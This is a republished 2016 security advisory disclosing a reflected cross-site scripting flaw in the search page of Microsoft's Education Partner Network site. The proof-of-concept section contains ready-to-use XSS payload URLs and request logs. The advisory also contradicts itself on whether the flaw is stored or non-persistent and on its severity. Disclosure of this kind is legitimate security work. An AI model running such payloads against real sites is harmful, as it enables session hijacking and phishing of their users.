Lucene search
K

Microsoft (MEPN EDU) - Client Side Cross Site Vulnerability

🗓️ 14 Dec 2016 00:00:00Reported by Mohd Aqeel Ahmed (Ciph3r00t) - [https://www.facebook.com/Ciph3r00t]Type 
vulnerlab
 vulnerlab
🔗 www.vulnerability-lab.com👁 70 Views

Microsoft Education Partner Network Cross Site Vulnerability in Client-Sid

Code
Document Title:
===============
Microsoft (MEPN EDU) - Client Side Cross Site Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1930

MSRC ID: 34153 
TRK: 0497000318


Release Date:
=============
2016-12-14


Vulnerability Laboratory ID (VL-ID):
====================================
1930


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
Microsoft Corporation is an American multinational technology company headquartered in Redmond, Washington, that develops, 
manufactures, licenses, supports and sells computer software, consumer electronics and personal computers and services.
Microsoft has launched Microsoft Education Partner Network (MEPN) for education-specific resources and training.

(Copy of the Vendor Homepage: https://www.mepn.com/MEPN/MEPNHome.aspx )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a cross site scripting vulnerability in the Microsoft Education Partner Network (mepn) online service web application.


Vulnerability Disclosure Timeline:
==================================
2016-12-14:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Education - Online Service (Web-Application) 2016 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A cross site scripting web vulnerability has been discovered in the Microsoft Education Partner Network (mepn) online service web application.
The cross site vulnerability allows remote attackers to inject own malicious script codes in client-side browser to web-application requests.

The Microsoft Education Partner Network (mepn) online service web application allows to search for the content from different domains of Microsoft. 
The service fails to sanitize a context which an attacker can leverage to carry out cross site based attacks. The stored cross site scripting vulnerability 
is located in the 'query' parameter of 'mepncontentsearch.aspx` file GET method request. The cross site scripting vulnerability allows remote attackers 
to inject own malicious script codes into the online service web applications on different domains of Microsoft (like `social.technet.microsoft.com` , 
`gallery.technet.microsoft.com` , `code.msdn.microsoft.com` , `social.msdn.microsoft.com` , `visualstudiogallery.msdn.microsoft.com` , 
`blogs.msdn.microsoft.com` etc...) which then can be triggered from mepn web application to exploit the vulnerability.

The security risk of the cross site scripting web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0. 
Exploitation of the client-side cross site scripting vulnerability requires no privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious 
sources and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Service(s):
[+] MEPN - Microsoft Education

Vulnerable File(s):
[+] mepncontentsearch.aspx

Vulnerable Parameter(s):
[+] query


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the stored cross site scripting web vulnerability follow the provided information and steps below to continue. 


PoC: Exploitation
https://www.mepn.com/MEPN/mepncontentsearch.aspx?query="><img src="x" onload=alert(document.domain) <
https://www.mepn.com/MEPN/mepncontentsearch.aspx?query="><img src=x onerror=alert('XSSCiph3r00t')>


PoC: Vulnerable Source (Results - query)
<div id="ContentPlaceHolder1_pnlResults">
<div class="resultItem col">
<a href="https://social.technet.microsoft.com/Forums/en-US/ac48ee10-6a85-447d-8218-4287e9bfddf7/action?threadDisplayNam....." target="_blank">
XSS"><img src="x" onerror=prompt(document.domain);>
</a><br/>
</div>
<div class="resultItem col">
<a href="https://social.msdn.microsoft.com/Forums/en-US/e55f584c-3d4d-48a6-9637-100da2dea7b2....." target="_blank">
"><img src=x onerror=alert('XSSCiph3r00t')> - social.msdn.microsoft.com</a><br />
</a><br/>
</div>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://www.mepn.com/MEPN/mepncontentsearch.aspx?query="><img src="evil.source" onload=alert(document.domain) <
Mime Type[text/html]
   Request Header:
      Host[www.mepn.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[ASP.NET_SessionId=; AERLCID=x; ai_user=x; AERLCIDs=LCID=x&Name=x; ai_session=x|x|x]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Cache-Control[private]
      Content-Type[text/html; charset=utf-8]
      Content-Encoding[gzip]
      Vary[Accept-Encoding]
      Server[Microsoft-IIS/8.5]
      X-AspNet-Version[4.0.30319]
      X-Powered-By[ASP.NET]


PoC: Video
https://www.dropbox.com/s/z20x07gsnrui7rf/Microsoft%20-%20XSS1.wmv?dl=0


Reference(s):
https://www.mepn.com/
https://www.mepn.com/MEPN/
https://www.mepn.com/MEPN/mepncontentsearch.aspx


Solution - Fix & Patch:
=======================
The cross site scripting vulnerability can be fixed by sanitizing the 'query' parameter of 'mepncontentsearch.aspx' file on mepn.com domain.



Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the Microsoft Education Partner Network is estimated as medium. (CVSS 3.0)



Credits & Authors:
==================
Mohd Aqeel Ahmed (Ciph3r00t) - [https://www.facebook.com/Ciph3r00t]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation